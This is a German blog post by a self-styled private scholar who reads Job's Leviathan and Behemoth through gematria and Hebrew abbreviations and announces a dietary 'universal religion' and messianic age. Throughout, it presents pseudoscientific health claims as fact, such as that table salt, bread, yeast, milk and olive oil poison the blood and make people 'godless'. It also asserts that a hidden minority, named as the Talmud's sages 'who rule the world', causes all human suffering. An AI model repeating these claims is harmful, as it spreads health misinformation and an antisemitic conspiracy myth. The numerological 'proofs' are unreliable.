</span>
<p class="MsoNormal"><span lang="DE-CH"> </span></p>
<p class="MsoNormal"><span lang="DE-CH">Vor etwas über zehn Jahren erlernte ich als Autodidakt die hebräische Schrift, um das Alte Testament in der Originalsprache studieren und kabbalistisch auswerten zu können. Ich vermutete damals nämlich, dass ich darin ein absolutes Weisheitswissen aufdecken würde, das anderswo in Prosa oder gar in deutscher Sprache nicht zu finden war. So lag es nahe, dass ich mir auch bald einmal den „Tenach“ (ThN“K: Tora = Gesetz, Nevi’im = Propheten, Ketuvim = Hagiographen) anschaffte. Noch heute arbeite ich nahezu täglich mit diesem vierbändigen Werk, das auf der rechten Seite jeweils den Urtext in hebräischen Konsonanten aufweist (mit entsprechender Vokalisation durch Punktierung), auf der linken Seite die deutsche Übersetzung von Leopold Zunz. Ich muss aber anmerken, dass die richtige Exegese nicht auf die Übersetzung achtet und auch nicht auf die Vokalisierung, sondern allein auf den zugrunde liegenden Konsonantentext abstellt. Für die Kabbala als Exegesemethode ist dies sowieso gar nicht anders möglich. Die Übersetzung benutze ich nur für den Einstieg in einen Vers und zum Auffinden von Referenzwörtern aus Wörterbüchern.</span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Das grösste aller denkbaren Preisausschreiben</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Eine der biblischen Geschichten, die mich von Anfang an am meisten faszinierte, war das Buch Hiob, über das ich bereits einige Kommentarbücher besass und in dem mich vor allem die vielen und schier ungeheuerlichen, von Gott gestellten Fragen reizten. Denn Hiob konnte sie alle nicht beantworten, weshalb er resignierte und sich dem Schicksal hingab. Ein Vers im Buche Hiob aber, der sich in dieser Übersetzung möglicherweise nur bei Zunz findet und der mich von Anfang an ganz intensiv berührte, ist ein Preisausschreiben Gottes in Hi 41,3:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><em><span lang="DE-CH">„Trete doch irgend wer      Mir entgegen! Lohnen wollte Ich ihm mit allem, was unter dem Himmel Mein      ist!“ </span></em><span lang="DE-CH">[Zunz III 1152].</span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Ich beteilige mich seit jeher aus Überzeugung an keinem Preisausschreiben, keiner Wette und keinem Glücksspiel und gehe auch dem gesellschaftlichen Wettbewerb so weit wie nur möglich aus dem Wege, um nicht durch falschen Ehrgeiz, materielle Erfolge, äusseren Schein  und Zufallsglück verblendet zu werden. Doch diese gewaltige geistige Herausforderung in Hi 41,3 erklärte ich mir damit, dass „Gott entgegentreten“ bedeute, ihn in seinem wirklichen Wesen zu erkennen. Seit über zehn Jahren bin ich nun dieser „Spur“ gefolgt und von einem Irrtum in den anderen gefallen. Denn die, die das absolute Weisheitswissen besitzen und deshalb auch das wahre Wesen von Gott kennen, haben ihn nach allen Regeln der Kunst geschützt. Sie haben sich aber deshalb des Verbrechens an der Menschlichkeit schuldig gemacht, und zwar im höchsten Ausmasse, denn alle Probleme der Menschheitsgeschichte in Form von Krieg, Hunger, Elend, Versklavung, Erkrankung, Dahinsiechen, Hass, Feindschaft, Wettbewerb, Egoismus und blindem Wahn gehen allein auf die Unterdrückung dieses Wissen vor der Allgemeinheit durch eine winzige Minderheit zurück, die daraus Willkürmacht und materiellen Vorteil ableitet. Sie ist sich ihrer Herrschaft seit Jahrtausenden so sicher, dass sie glaubt, niemand könne ihr Geheimnis jemals ergründen. Wenn aber dieses Geheimnis von einem unabhängigen Dritten durch eigenes Studium aufgedeckt wird, dann geht diese satanische Willkürmacht erstmals zu Ende. So dachte ich und das war mein Ziel.</span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Der Weg, um hinter das göttliche Grundgeheimnis zu gelangen</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Der Vers Hi 41,3 ist seltsamerweise eingebettet in die biblischen Erzählungen vom <strong>„Leviathan“</strong>, die von Hi 40,25 bis 41,26 reichen. Das sind, ohne das Preisausschreiben, stolze 32 Verse, die dieses seltsame Wesen beschreiben. Der Eindruck von ihm wird durch diese Beschreibungen äusserst negativ und genau so wird der Name „Leviathan“ denn bisher auch in der Literatur ausnahmslos gedeutet und verwendet. </span></p>
<p class="MsoNormal"><span lang="DE-CH">Doch mit dem Leviathan allein ist es offenbar nicht getan: Vorangehend in Hi 40,15-24 wird nämlich ein anderes obskures Wesen beschrieben, das allerdings weit weniger in der breiten Öffentlichkeit bekannt ist: Der <strong>„Behemoth“</strong>! Von ihm heisst es in Hi 40,19: „Er ist der Erstling des Werkes Gottes“. Und auch sonst werden über ihn nur erquickliche Eigenschaften und Zustände berichtet, die man infolgedessen anstreben möchte. </span></p>
<p class="MsoNormal"><span lang="DE-CH">Beim Preisrätsel von Hi 41,3, dessen Lösung offenbar das Paradies auf Erden verspricht, geht es somit aller Wahrscheinlichkeit darum, das Rätsel vom „Leviathan“ und vom „Behemoth“ in grundlegender Weise zu lösen. Dann erst kann man Gott erkennen, ihm entgegentreten und seinen umfassenden Segen empfangen. Diese hehre Ziel ist nun für alle erreichbar geworden.</span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Was „Leviathan“ und „Behemoth“ grundlegend bedeuten</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Die hebräische Schrift, die nur aus Konsonanten besteht, stellt ja zugleich auch ein Zahlensystem dar, so dass jeder Buchstabe, jedes Wort, jeder Satz bewertet und damit auch Wörter zu Summen addiert werden können. Im Verbund mit dem ausgeklügelten Exegesesystem der Kabbala ergibt sich so eine geistige Methode der Grundlagenforschung, die alle anderen Wissenschaften blass erscheinen lässt. Nur auf diese Weise ist es möglich, das Geheimnis des Leviathan und des Behemoth zu enträtseln:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><strong><span lang="DE-CH">„Leviathan“</span></strong><span lang="DE-CH">. Dieser Name wird hebräisch LWJThN geschrieben, umfasst also 5      Konsonanten mit der Wertsumme 496. Dies ist nach 6 und 28 die dritte      „vollkommene Zahl“ der Mathematik, doch soll dem hier nicht weiter      nachgegangen werden, so dass nur das Prädikat <em>„Vollkommenheit“</em> nachklingt. Bleiben nun Übersetzung und gewohnte      Aussprache einmal unbeachtet, so lässt sich die Konsonantenbasis auch zweiteilig      als LW-JThN erklären. Das aber bedeutet <em>„für Ihn immerfliessend“</em>, was ein Hinweis auf Gott („Ihn“) und      dessen ewige Existenz ist. Damit aber kommt bereits verblüffender Weise das      krasse Gegenteil der üblichen Leviathan-Deutung, die an der Oberfläche der      Texte verharrt, zum Vorschein.</span></li>
<li class="MsoNormal"><strong><span lang="DE-CH">„Behemoth“</span></strong><span lang="DE-CH">. Dieser Name wird hebräisch BHMWTh geschrieben, umfasst also      ebenfalls 5 Konsonanten, die indes die Wertsumme 453 verkörpern. Gematria:      Zum diesem Wert existiert der hebräische Begriff ChThWK HZHB für <em>„der goldene</em> <em>Schnitt“</em>. Die Konsonantenbasis des Namens Behemoth lässt sich      ebenfalls zweiteilig als BH-MWTh erklären. Das aber bedeutet <em>„in ihr sterben“</em>. Das muss also      etwas mit dem ansonsten ja sakrosankten „goldenen Schnitt“ zu tun haben      und steht ebenfalls im krassen Gegensatz zu dem Bild, das die betreffenden      Verse im Buch Hiob über den Behemoth vermitteln. Ausserdem wirft die      Übersetzung die Frage auf, welches Wesen oder Behältnis mit „in ihr“      gemeint ist.</span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Die Buchstabenstruktur 5 +5 = 10 verweist bereits auf die von mir aufgedeckte Matrix der Seele und die Beschreibungen „für Ihn immerfliessend“ und „in ihr sterben“ erklären tatsächlich die beiden Seiten dieser Seelenstruktur: Einerseits der ewige Zustrom der „Vier Elemente“ Wasserstoff, Sauerstoff, Stickstoff und Kohlenstoff durch Atmung und Nahrung zum göttlichen Nährboden und andererseits dessen unaufhörliche Transformation in Geist, Gewebe und Lebenskraft durch die Resorption in den Blutkreislauf. Damit wird auch erstmals der eigentliche Sinn von Hi 40,19 verständlich, wo es zu Behemoth heisst: <em>„Er ist der Erstling des Werkes Gottes“. </em></span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Ursprung in der chinesischen Philosophie</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">In meiner Schrift „Die Weltformel“ von 1995 habe ich auf Seite 125 eine damalige Erkenntnis prominent hervorgehoben: <em>„Hinter dem Judentum, verkörpert durch die anonym tradierten Lehrsätze der Mischna, verbirgt sich das chinesische Weisheits- und Herrschaftswissen.“ </em>Das gilt auch hier, denn „Leviathan“ und „Behemoth“, als tierähnliche Wesen irreführender Weise versinnbildlicht, entsprechen und illustrieren die komplementären chinesischen Begriff des „Yin“ und „Yang“, deren Erkenntnis in der westlichen Esoterik nicht weit über die „Gegensätze“ von „weiblich/männlich“ oder „dunkel/hell“ hinausgehen. Eine Hebräisierung und kabbalistische Analyse dieser beiden Begriffe bringt uns weiter:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><strong><span lang="DE-CH">„Yin“</span></strong><span lang="DE-CH"> ist direkt das hebräische Wort YJN mit den Bedeutungen „Auge“      oder „Quelle“. Ausserdem ist es der Name des 16. Konsonanten „Ájin“ im      hebräischen Alphabet, der dem lateinischen Y entspricht und somit das      „Zwei-Wege-Zeichen“ darstellt. Diese „weibliche, dunkle“ Seite entspricht      nun dem „Leviathan“! Das stellt die gewohnten Dinge ganz schön „auf den      Kopf“. Die „Quelle“ deckt sich mit meiner obigen Übersetzung „für Ihn      immerfliessend“. Mit dem „Auge“ wäre das bisher so rätselhafte „Auge      Gottes“ gemeint, das in der Lage ist, von den zwei möglichen Wegen den      richtigen als Lebensweg zu wählen. </span></li>
<li class="MsoNormal"><strong><span lang="DE-CH">„Yang“</span></strong><span lang="DE-CH"> entspricht dem hebräischen Begriff YNQ mit der üblichen      Aussprache „Ának“, womit ein biblischer Riese gemeint ist. Das hebräische      Q lässt sich mit G und K tauschen, was hier der Fall ist. Das Sinnbild vom      „Riesen“ passt ebenso zum biblischen „Behemoth“ wie zur chinesischen      Metapher „männlich/hell“, obwohl man in die Irre geführt wird, wenn man zu      fest an diesen beiden Vorstellungen festhält. Denn man darf nicht      vergessen, dass dies auch die seelische Seite des Sterbens ist, wie oben      aufgedeckt wurde.</span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Der chinesische Leviathan „Yin“ YJN hat den Äusseren Wert 130, Sofitwert 780, den Verborgenen Wert 126, den Totalen Wert 256 und den Grossen Wert 946. Der chinesische Behemoth „Yang“ YNQ hat den AW 220, VW 202, TW 422 und GW 759. Die Zusammenfassung zur kompakten „Seele“ ergibt damit folgende Summen: AW 350, Sofit 1000, VW 328, TW 678, GW 1705. Dazu ergibt die Gematria:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><span lang="DE-CH">1000 = die Seele als <strong><em>„Tausendjähriges Reich“</em></strong>; = DJNJ      KShRWTh „Kaschrut-Gesetze“, das heisst die <strong><em>Reinheitsvorschriften</em></strong>      des Judentums.</span></li>
<li class="MsoNormal"><span lang="DE-CH">350 = MChShB „mach’chév“ <strong><em>„Computer“</em></strong>, das heisst die      Seele als Zählwerk des Lebens, des Lebensweges und der Lebensdauer.</span></li>
<li class="MsoNormal"><span lang="DE-CH">328 = ThW B-ShBT „der 15. Tag des Monats Schevat“ = <strong><em>„Neujahr      der Bäume“</em></strong>. Dies ist einer der vier Jahresanfänge des jüdischen      Kalenders und fällt dieses Jahr auf <em>Samstag,      den 3. Februar 2007</em>. Dies ist, wie im Artikel „Das Palästina-Problem“      vom 23.1.2007 festgestellt habe, möglicherweise der <em>Beginn des Wassermann-Zeitalters</em>,  das heisst der Erlösung der Menschheit.</span></li>
<li class="MsoNormal"><span lang="DE-CH">678 = BYRWTh <strong><em>„Unwissenheit“</em></strong>; ChKMJM <strong><em>„die      Weisen“</em></strong> (des babylonischen Talmuds, die die Welt beherrschen);      ALJPWTh HYWLM <strong><em>„Weltmeisterschaft“</em></strong>, für einem anders und richtig      verstanden.</span></li>
<li class="MsoNormal"><span lang="DE-CH">1705 = ThHA HShMChH ShRWJH BBJThW <strong><em>„staunend die Freude, sich      in Seinem</em></strong> <strong><em>Haus zu befinden“</em></strong>, nämlich im      Heiligtum der Seele.</span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">All diese Aussagen zur Vereinigung von Yin und Yang lassen sich somit gleichermassen auch auf die Zusammenfassung von Leviathan und Behemoth übertragen.</span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Vollständige Enträtselung des „Leviathan“</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Wenn man nun aber die fünf hebräischen Konsonanten des LWJThN „Leviathan“ den fünf betreffenden Feldern der Matrix der Seele zuordnet, steht in jedem Feld lediglich ein Buchstabe, was nicht besonders aussagekräftig ist. Da hilft die gewaltige Abbreviaturen-Sammlung der jüdischen Schriftgelehrten weiter, die etwa 20&#8242;000 solcher Abkürzungen umfasst, deren Existenz und Gebrauch ausserhalb dieser Kreis aber nahezu unbekannt ist. Entsprechend der Strukturvorgabe lassen sich die drei Abbreviaturen L“W – J“Th – N’ bilden, zu denen sich folgende Auflösungen auswählen lassen [alle Ashkenazi]:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><strong><span lang="DE-CH">L“W</span></strong><span lang="DE-CH"> = LYWLM WYD, 8 Zeichen, Wertsumme 256, Sofitwert 816,      Bedeutung <strong><em>„für</em></strong> <strong><em>immer und ewig“</em></strong>. Das ist die      eigentliche Erlösung, denn LYWLM entspricht hier dem „reinen Wasser“ und      WYD der „freien Radikal“, die zusammen das Wasserstoffperoxid H2O2 als      reine Lebenskraft bei der Einatmung in der Lunge bilden – sofern der      Organismus nicht durch schädliche Nahrungsmittel vergiftet ist. Siehe      „Yin“ YJN als „Zwei-Wege-Zeichen“.</span></li>
<li class="MsoNormal"><strong><span lang="DE-CH">J“Th</span></strong><span lang="DE-CH"> = JWNThN ThRGM, 9 Zeichen, Wertsumme 1159, Sofitwert 2369,      Bedeutung „Jonathan-Targum“, womit zwar üblicherweise die Übersetzung der      Tora ins Aramäische durch Jonatán ben Usiél (1. Jh.) bezeichnet, was aber      zugleich auch als „irrtümlich“ kritisiert wird. Das ist eine Denkfalle,      denn gemeint ist die Nahrung durch Eiweiss (Proteine) und      Kohlenhydrate/Fette. Die Konsonantenbasis ist hier deshalb richtig JWN-ThN      Th-RGM zu lesen und bedeutet <strong><em>„Ioniens Schakal ‚steinigt’ dich“</em></strong>.      Mit „Ionien“ sind die gottlosen Chaldäer gemeint, die Europa alle      Kulturelemente brachten, um die Völker zu versklaven. Gemäss Habakuk 1,7      sind sie <em>„ein furchtbares und      schreckliches Volk, das selbst sein Recht und seinen Rang</em> <em>bestimmt“</em> [Einheitsübersetzung]. Der      „Schakal“ ist hier ein Hinweis auf das hundeähnliche Tier des      altägyptischen Totengottes Anubis, der selbst schakalköpfig war, gemäss      meinen Forschungen aber eine Metapher ist für den <strong><em>Hefepilz</em></strong>, also ein      einzelliges Lebewesen, das in Hefe und Sauerteig vorkommt und damit in      Zopf und Brot, und das dann den Dickdarm des Menschen mit 10 hoch 14      Zellen kolonialisiert und von dort her seinen Ernährungsbedarf (=      unverdaulich für den Menschen) diktiert. Das Verb „steinigen“, das im      Alten Testament oft als grausame Strafe vorgeführt wird, ist in      Wirklichkeit eine Metapher für das infolge seines 60-Prozent-Gehalts an      Chlor schädliche <strong><em>Kochsalz</em></strong>, dessen weisser      Kristall mühelos als „Stein“ bezeichnet werden kann. So kommt die      kulturelle Errungenschaft <strong><em>„Brot und Salz“</em></strong> quasi als      „Grundnahrungsmittel“ zusammen, die die Seele vergiften und gottlos      machen. Andererseits bedeutet diese Erkenntnis und ihre Umsetzung in den      Lebensalltag den Anbruch einer Neuen Zeit. Das geht auch aus der Wertsumme      1159 hervor, denn hierzu existiert die hebräische Sequenz ShNTh AChTh für <strong><em>„Das      Jahr Eins“</em></strong> (Dn 9,1). Damit ist das apokalyptische <strong><em>„Ende      der Zeiten“</em></strong> und der völlige Neubeginn gemeint, was dem Beginn des      Wassermann-Zeitalters entspricht (siehe oben).</span></li>
<li class="MsoNormal"><strong><span lang="DE-CH">N’</span></strong><span lang="DE-CH"> = NHR „nahar“, 3 Zeichen, Wertsumme 255, Bedeutung <strong><em>„Strom,      Fluss“</em></strong>. Das ist der Nährboden der Seele, dem unaufhörlich die      Schöpfung entspringt und die – je nach Ernährungslage – göttlich oder      satanisch ist. Mit dieser Erkenntnis Gottes wird auch Hi 36,26 erstmals      verständlich: <em>„Siehe, Gott ist      gross, unbegreiflich, Seiner Jahre Zahl unergründlich.“ </em></span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Der „Leviathan“ ergibt aufgelöst somit 20 Konsonanten, die Wertsumme 1670 und den Sofitwert 3440. <em>Gematria</em>: Zum reduzierten Wert 167 existiert der hebräische Begriff MKNJZM für „Mechanismus“ und die Auflösung der Abbreviatur J“B in JWDYJ BJNH für „ich bin einsichtsvoll“, nämlich in den Mechanismus, der sich in diesem Teil der Seele abspielt. Zum reduzierten Wert 344 existieren die hebräischen Begriffe ShMD für „verheert, zerstört, vernichtet, gänzlich ausgerottet werden“ und RPJDJM „Refidim“, der Ort in der Wüste, wo Moses und die Kinder Israels auf Amalek stossen und mit ihm kämpfen (Ex 17,1-16). </span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Amalek</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Doch im Gegensatz zur vorherrschenden Meinung aufgrund des Bibeltextes wurde Amalek in Refidim nicht besiegt, denn das Kapitel schliesst ja mit dem Satz: <em>„Krieg des Ewigen wider Amalek von Geschlecht zu Geschlecht“. </em>Über die Identität und das Wesen des Amalek habe (nicht nur) ich schon viel herumgerätselt, zumal es von ihm in Num 24,20 in dunkler Sprache heisst: <em>„Das erste der Völker ist Amalek und sein Ende – zum Untergang.“ </em>Im hebräischen Original steht hier „gojim“, was nicht Völker, sondern „Heiden“ bedeutet. Das Wesen „Amalek“ entsteht also in dem Augenblick, wo ein Mensch gottlos wird, und endet, wenn er zu Gott zurückgefunden hat. Gottlos aber wird der Mensch durch unreine Nahrung, die sein Blut vergiftet und damit seinen Geist: Kochsalz (Halogen Chlor), Weizen (Eiweiss Gluten), Sauerteig (Hefepilz) und Milch (Enzym Katalase). </span></p>
<p class="MsoNormal"><span lang="DE-CH">„Amalek“ wird YMLQ geschrieben und lässt sich als Komposition von zwei Abbreviaturen Y“M – L“Q erklären mit den AuflösungenYWNSh MLQWTh LPRT QTN, 16 Zeichen, Wertsumme 1480, Sofitwert 2130 und der Bedeutung <strong><em>„Strafe der 39 Geisselhiebe für jede</em></strong> <strong><em>kleine Einzelheit“</em></strong>. Zum reduzierten Wert 148 existiert der hebräische Begriff ChMJTs für <strong><em>„Salzfutter“</em></strong>, was die Zusammenhänge rasch erklärt. Und zum reduzierten Wert 213 existiert das Wort WZR „wazar“ für <strong><em>„Schuldbelasteter, der Verkehrte, Unehrliche“</em></strong>. Jeder, der Koch-salz oder andere chlorhaltige Lebensmittel (Olive, Olivenöl, Petersilie) zu sich nimmt, wird also unverzüglich zu „Amalek“ und damit gottlos. Er findet deshalb nicht den Weg ins gelobte Land, ins Paradies auf Erden, sondern erhält stattdessen Geisselhiebe (Dt 25,3), die unschwer als das Gift der Galle auszumachen sind, wodurch der Organismus auf anaerob umgestellt wird. </span></p>
<p class="MsoNormal"><span lang="DE-CH">In der Matrix der Seele sind dem Feld der Galle auch das chemische Element Eisen Fe, Ordnungszahl 26, und die Qualität „trocken“ zugeordnet. Da die Galle somit durch das „Eisen“ = „Schwert“ metaphorisiert werden kann, wird nun auch Jes 27,1 erstmals verständlich: <em>„An selbigem Tage </em>[der Nahrungs-Sünde]<em> ahndet der Ewige mit seinem Schwerte </em>[Galle]<em>, dem harten </em>[Knochenmark]<em>, grossen </em>[Lymphe]<em> und starken </em>[Blut]<em> an dem Leviathan, der flüchtigen Schlange, und an dem Leviathan, der gewundenen Schlange, und tötet das Krokodil im Meere.“ </em>Mit dem „Krokodil im Meer“ ist hier der göttliche Nährboden, der „Strom, Fluss“, gemeint, denn hebräisch „tánnin“ für „Krokodil wird ThNJN geschrieben und bedeutet „dein Spross, dein Nachkomme“ – womit die laufende Erneuerung der Lebenskraft durch Nahrung und Atmung gemeint ist, die vom Nährboden der Seele ausgeht.</span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Vollständige Enträtselung des „Behemoth“</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Auch das fünfbuchstabige hebräische Wort BHMWTh für „Behemoth“ lässt sich mit einer Komposition B“H – M“W – Th’ von Abbreviaturen erklären und wie folgt auflösen:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><strong><span lang="DE-CH">B“H</span></strong><span lang="DE-CH"> = BAR HGWLH, 8 Zeichen, Wertsumme 252, bedeutet <strong><em>„der      Brunnen der</em></strong> <strong><em>Verbannung/Diaspora“</em></strong>. Damit      sind hier das Knochenmark und die Lymphe gemeint, die zusammen das      Immunsystem bilden. Bei anaerober Lebensweise ist der Verbrauch dieser      Reservekräfte irreversibel, das heisst ihre Regeneration ist      ausgeschlossen, da der Organismus dauerhaft im hormonellen Ausnahmeprogramm      lebt und die Lebenskraft von hier ihre begrenzte „fossile“ Energie      bezieht. Das kommt auch in dem Begriff „Brunnen“ zum Ausdruck im Gegensatz      zur grenzenlosen Quelle. </span></li>
<li class="MsoNormal"><strong><span lang="DE-CH">M“W</span></strong><span lang="DE-CH"> = MShH WJShRAl, 9 Zeichen, Wertsumme 892, bedeutet <strong><em>„Moses      und Israel“</em></strong>. Damit sind die Galle und das Blut gemeint. In meinem      Artikel „Die wahre Identität des Gesetzgebers und Religionsstifters Moses“      habe ich nachgewiesen, dass dieser im Inneren die Galle verkörpert, im      Äusseren den Satan. „Israel“, das vergiftete Blut der Heiden, wird also      „in die Wüste geschickt“, angeführt vom Satan persönlich.</span></li>
<li class="MsoNormal"><strong><span lang="DE-CH">Th’</span></strong><span lang="DE-CH"> = ThMWRTh, 5 Zeichen, Wertsumme 1046, bedeutet <strong><em>„Gegenwert,      Preis, Wandel,</em></strong> <strong><em>Änderung“</em></strong>. Damit ist die      Lebenskraft gemeint, die ihre Energie aus dem Blut bezieht und deren      Qualität – „Lebensqualität – damit von der Qualität des Blutes abhängt. </span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Der „Behemoth“ ergibt aufgelöst somit 22 Zeichen und die Wertsumme 2190. Zum reduzierten Wert 219 existiert die Auflösung der hebräischen Abbreviatur D“S in DJNJ SYWDH mit der Bedeutung „Gesetze der Mahlzeit“ – wobei D“S auf den Namen des Verfassers dieser Zeilen verweist. Diese „Speisegesetze“ sind völlig anderer Natur als die entsprechenden Kaschrut-Gebote, nach denen das Judentum unter der Kontrolle der Rabbiner sein Leben ausrichtet. Denn das Judentum lebt von seiner Ernährung her ebenfalls gottlos. Es sind Gesetze, die für die gesamte Menschheit Gültigkeit haben und die die eigentliche neue Universal-Religion darstellen, da nur auf diesem Wege die Umkehr möglich ist, die die Seele zu Gott zurückführt. </span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Das Kommen des Messias</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Zur Frage über den Messias, <em>„wie sich das Judentum die Person, das Wesen, das Wirken und den Zeitpunkt des Kommens eines solchen vorstellt“</em>, wird im jüdischen Schrifttum auf entsprechende Aussagen des grossen jüdischen Gelehrten RaMBaM (Maimonides, 1135-1204) hingewiesen: <em>„Kommen wird ‚ha-mélech ha-maschiach’ (= der gesalbte König) und das Königtum Davids an seinem gebührenden Platz mit seiner ehemaligen Macht wiederherstellen. Er baut dann den ‚mikdasch’ (= Heiligtum) und sammelt ein die Verstreuten Israels und alle Rechtssatzungen [die seit der Zerstörung ausser Kraft gesetzt sind] kehren in seinen Tagen wieder wie ehedem … Es gibt welche unter den ‚chachamim’ (= die Weisen), die sagen, vor seiner Ankunft käme ‚Elijahu ha-navi’ (= der ‚Prophet’), aber von allen diesen Sachen weiss kein Mensch, wie sie sein werden, solange sie nicht eingetroffen sind […]. Dunkel sind sie, und auch die chachamim haben keine [eindeutige] Überlieferung über sie.“ </em>[Radday V].</span></p>
<p class="MsoNormal"><span lang="DE-CH">Diese genannten Bedingungen werden hier nun erstmals erfüllt. Denn die 10 hebräischen Wörter, die aus der Auflösung der Namen „Lewiathan“ und „Behemoth“ resultieren, haben zusammen 42 Konsonanten, die Wertsumme 3860 und den Sofitwert 5630:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><span lang="DE-CH">42 = Diese Zahl verweist auf den bisher verborgen gebliebenen      Gottesnamen mit 42 Buchstaben, der in der jüdischen Mystik als der      heiligste von allen angesehen wird. Hier repräsentiert er nun die Matrix      der Seele, die Wohnung Gottes.</span></li>
<li class="MsoNormal"><span lang="DE-CH">3860 = Zum reduzierten Wert 386 existiert die Auflösung der      Abbreviatur YH“M in YJR HMLWKH mit der Bedeutung „Ort des Königtums“. Der      oben zitierte „gebührende Platz“ ist also die Matrix der Seele, verkörpert      durch die Allegorien von „Lewiathan“ und „Behemoth“.</span></li>
<li class="MsoNormal"><span lang="DE-CH">5630 = Zum reduzierten Wert 563 existiert der hebräische Begriff      MQDSh-MYT „mikdasch-meát“ mit der Bedeutung „das kleine Heiligtum“. Damit      ist der oben zitierte „Mikdasch“ gemeint, der kein äusseres Gebäude in der      geographischen Dimension darstellt, sondern die vollendete Struktur der      Seele.</span></li>
<li class="MsoNormal"><span lang="DE-CH">Durch die zuvor aufgezeigten Ursachen der      „Diaspora/Zerstreuung“ von Knochenmark und Lymphe infolge Einwirkung der      Galle infolge schädlicher Nahrungsmittel können „die Verstreuten Israels“      wieder einsammelt werden.</span></li>
<li class="MsoNormal"><span lang="DE-CH">Dadurch treten die Naturgesetze des aeroben Lebens wieder in      Kraft, die willkürfrei für Gerechtigkeit, Frieden, Wohlstand und      Gesundheit für alle Menschen sorgen.</span></li>
<li class="MsoNormal"><span lang="DE-CH">Die Identität des oben zitierten „Elijahu“ wurde von mir im      Artikel „Das Palästina-Problem wird erstmals vollständig enträtselt“ vom      23.1.2007 aufgedeckt und mit dem Gott Jahwe gleichgesetzt, der wiederum      dem Nährboden der Seele entspricht. Dafür steht oben das hebräische Wort      für „Strom, Fluss“ beim Namen Leviathan.</span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Die „Sachen“ sind nun also alle eingetroffen und die Herren Rabbiner und Chachamim können sich nun ein klares Bild von der Lage verschaffen. Im Zentrum von allem aber steht D“S, hier verstanden als hebräische Abbreviatur, deren Auflösung „die Gesetze der Mahlzeit“ bedeutet. Das ist der grundlegende Teil einer praktischen Theologie, für die es keine Priester und keine Mittler mehr benötigt und auch keine Heiligen Schriften. </span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><em><span lang="DE-CH">Dirk Schröder, D.S.,      unabhängiger Privatgelehrter, CH-2502 Biel</span></em></li>
</ul>
<p align="left" style="text-align: justify" class="MsoNormal"><span lang="DE-CH">LITERATURVERZEICHNIS: <strong><em>Ashkenazi</em></strong>, Shmuel, und Dov, Jarden, „Ozar Rashe Tevot. Thesaurus of Hebrew Abbreviations“, 600 Spalten, ohne Ort und Jahr, ISBN 965-17-0203-6 –<strong><em> Einheitsübersetzung</em></strong>, „Die Bibel. Altes und Neues Testament“, Stemberger, Günter, und Prager, Mirjam, Hrsg., Augsburg 1987 – <strong><em>Radday</em></strong>, Yehuda T., „Auf den Spuren der Para-scha. Ein Stück Tora. Zum Lernen des Wochenabschnittes“, Arbeitsmappe 5, Frankfurt/M 1995. <strong><em>Zunz</em></strong>, Leopold, (Übersetzer), „Die Heilige Schrift“, vollständiger, hebräisch vokali-sierter Text mit deutscher Übersetzung, in vier Bänden, Basel 1997 </span></p>
<p class="MsoNormal"><span lang="DE-CH"> </span></p> <a href="http://www.kabbalaschule.ch/blog/?p=19#more-19" class="more-link">&#8211;></a>]]></content:encoded>
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